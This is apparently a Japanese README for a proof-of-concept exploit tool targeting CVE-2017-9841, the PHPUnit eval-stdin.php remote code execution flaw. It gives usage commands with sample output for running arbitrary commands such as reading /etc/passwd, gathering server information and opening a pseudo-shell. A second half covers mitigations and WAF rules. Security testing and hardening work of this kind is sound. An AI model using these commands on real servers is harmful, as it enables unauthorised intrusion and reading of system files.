
CVE-2017-9841 は、PHPUnit ライブラリにおけるリモートコード実行 (RCE) の脆弱性であり、バージョン 5.6.3 未満、および 6.x の 6.4.2 未満に影響します。
⚠️ 免責事項: このツールは教育目的および許可されたセキュリティテストのみを目的としています。自分が所有していない、または明示的なテスト許可を得ていないシステムに対する不正使用は違法です。作者はこのツールの誤用に対する一切の責任を負いません。
CVE-2017-9841 は、PHPUnit ライブラリのバージョン 5.6.3 未満 および 6.x 系の 6.4.2 未満 に影響するリモートコード実行 (RCE) 脆弱性です。
この脆弱性は src/Util/PHP/eval-stdin.php に存在し、php://input (POST ボディ) 経由で受け取った PHP コードを eval() 関数を使用して実行します。このファイルが (保護されていない vendor/ ディレクトリ内などで) 公開アクセス可能な場合、攻撃者は認証なしにサーバ上で任意の PHP コードを実行できます。
| フィールド | 値 |
|---|---|
| CVE ID | CVE-2017-9841 |
| CVSS スコア | 9.8 (Critical) |
| 影響を受けるバージョン | PHPUnit < 5.6.3, 6.x < 6.4.2 |
| 種類 | リモートコード実行 (RCE) |
| 認証 | 不要 |
| 攻撃ベクトル | ネットワーク (リモート) |
| 公開日 | 2017年6月27日 |
| 参考情報 | NVD |
// vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
eval('?>' . file_get_contents('php://input'));
このファイルは POST ボディから PHP コードを受け取り、認証やバリデーションなしで即座に eval() で実行します。
requests ライブラリpip install requests
git clone <repo-url>
cd CVE-2017-9841
chmod +x poc_cve-2017-9841.py
python3 poc_cve-2017-9841.py -u <URL> [options]
-u フラグは ベース URL(脆弱なパスが自動追加される)または eval-stdin.php を直接指す 完全な URL を受け入れます。
python3 poc_cve-2017-9841.py -u 'https://target.com' --check
出力:
[*] ターゲット : https://target.com
[*] エンドポイント: https://target.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
[*] 脆弱性チェック中: ...
[+] ファイルにアクセス可能 (HTTP 200)
[+] 脆弱!コード実行確認済み。
[+] 応答: VULN_CHECK_OK_2017_9841
# 単一コマンド
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'whoami'
# 複数コマンド
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'id && hostname && uname -a'
# ファイルを読み取り
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'cat /etc/passwd'
# 出力をファイルに保存
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'cat /etc/passwd' -o result.txt
python3 poc_cve-2017-9841.py -u 'https://target.com' --info
出力:
=== サーバ情報 ===
PHP バージョン : 8.x.x
OS : Linux
SAPI : fpm-fcgi
ユーザー : www-data
ホスト名 : web-server-01
サーバ IP : 192.168.1.100
カレントディレクトリ: /var/www/html/app/vendor/phpunit/phpunit/src/Util/PHP
ドキュメントルート: /var/www/html/
サーバ SW : Apache
メモリ制限 : 256M
最大実行時間: 30s
open_basedir: (なし)
無効化関数 : (なし)
=== 危険な関数 ===
system: YES
exec: YES
passthru: YES
shell_exec: YES
proc_open: YES
popen: YES
curl_exec: YES
python3 poc_cve-2017-9841.py -u 'https://target.com' --shell
出力:
[*] 疑似シェル (終了するには 'exit' または 'quit' と入力)
--------------------------------------------------
www-data@web-server-01$ whoami
www-data
www-data@web-server-01$ ls -la /var/www/html/
total 12
drwxr-xr-x 4 www-data www-data 4096 Jun 11 00:00 .
drwxr-xr-x 3 root root 4096 Jan 01 00:00 ..
drwxr-xr-x 8 www-data www-data 4096 Jun 11 00:00 app
www-data@web-server-01$ exit
[*] シェルを終了します。
python3 poc_cve-2017-9841.py -u 'https://target.com' --find-path
python3 poc_cve-2017-9841.py -u 'https://target.com' \
--path '/custom/path/eval-stdin.php' -c 'whoami'
python3 poc_cve-2017-9841.py \
-u 'https://target.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php' \
-c 'whoami'
python3 poc_cve-2017-9841.py -u 'https://target.com' \
--php '<?php phpinfo(); ?>'
sudo rm /path/to/project/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
vendor/ ディレクトリ内に .htaccess ファイルを追加:
# /path/to/project/vendor/.htaccess
Deny from all
または Apache VirtualHost で設定:
<Directory "/path/to/project/vendor">
Require all denied
</Directory>
Nginx の場合:
location /vendor/ {
deny all;
return 403;
}
cd /path/to/project
composer install --no-dev --optimize-autoloader
disable_functions を有効化; /etc/php/8.4/fpm/php.ini
disable_functions = system,exec,passthru,shell_exec,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
open_basedir を有効化; /etc/php/8.4/fpm/php.ini または VirtualHost 内
open_basedir = /var/www/html/project:/tmp
max_execution_time を短縮max_execution_time = 30
sudo systemctl restart php8.4-fpm
# または
sudo systemctl restart php-fpm
composer require --dev phpunit/phpunit:^10.0
composer update phpunit/phpunit
ModSecurity の例:
SecRule REQUEST_URI "eval-stdin\.php" \
"id:1000001,phase:1,deny,status:403,msg:'CVE-2017-9841 ブロック'"
SecRule REQUEST_URI "/vendor/" \
"id:1000002,phase:1,deny,status:403,msg:'vendor ディレクトリへのアクセスをブロック'"
# 例: GitHub Actions
- name: 本番依存関係のみインストール
run: composer install --no-dev --optimize-autoloader
- name: テストファイルと脆弱なスクリプトを削除
run: |
rm -rf vendor/phpunit
rm -rf vendor/mockery
rm -rf tests/
find vendor -name "eval-stdin.php" -delete
┌──────────────────────────────┐
│ 攻撃者 │
└──────────────┬───────────────┘
│ POST (PHP コード)
▼
┌─────────────────────────────────────────────────────────────┐
│ Apache サーバ │
│ ┌───────────────────────────────────────────────────────┐ │
│ │ /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php │ │
│ │ │ │
│ │ eval('?>' . file_get_contents('php://input')); │ │
│ │ ▲ │ │
│ └───────────┼───────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ ┌───────────────────────────────────────────────────────┐ │
│ │ 任意のコード実行 │ │
│ │ │ │
│ │ - サーバ上のファイルの読み取り/書き込み │ │
│ │ - データベース認証情報へのアクセス │ │
│ │ - 内部ネットワークへの横断移動 │ │
│ │ - バックドア / ウェブシェルのインストール │ │
│ │ - 権限昇格 │ │
│ └───────────────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────────────┘
以下の条件は、この脆弱性の深刻度と悪用可能性を大幅に高めます:
このツールは教育目的および許可されたセキュリティテストのためにのみ提供されます。
| フラグ | 説明 |
|---|
-u, --url URL | ターゲットのベース URL または eval-stdin.php への完全な URL |
-c, --cmd CMD | ターゲットサーバ上で実行する CLI コマンド |
--check | コマンドを実行せずにターゲットが脆弱かどうかを確認 |
--shell | 疑似インタラクティブシェルを開く |
--info | サーバ情報を収集(読み取り専用) |
--find-path | 一般的なパスをスキャンして eval-stdin.php を特定 |
--path PATH | eval-stdin.php へのカスタムパスを指定 |
--timeout N | リクエストのタイムアウト秒数(デフォルト: 30) |
-o, --output FILE | コマンドの出力をファイルに保存 |
--php CODE | システムコマンドの代わりに生の PHP コードを実行 |
| 要因 | 影響 |
|---|
disable_functions が空 | すべての PHP 関数が利用可能 (system, exec など) |
open_basedir が未設定 | 攻撃者はファイルシステム全体のファイルを読み書き可能 |
max_execution_time が高い | 攻撃者は複雑なペイロードのためにリクエストあたりの時間を多く確保できる |
| FFI 拡張がロードされている | PHP の制限をバイパスして直接 C 関数の呼び出しが可能 |
| データベース拡張がロードされている | データベースへの直接接続が可能 (mysqli, pgsql など) |
| WAF が未導入 | リクエストのフィルタリングやブロックがない |
| IDS/IPS が未導入 | 異常検知や警告がない |
| 本番環境に開発依存関係が存在 | 攻撃対象領域が不必要に拡大される |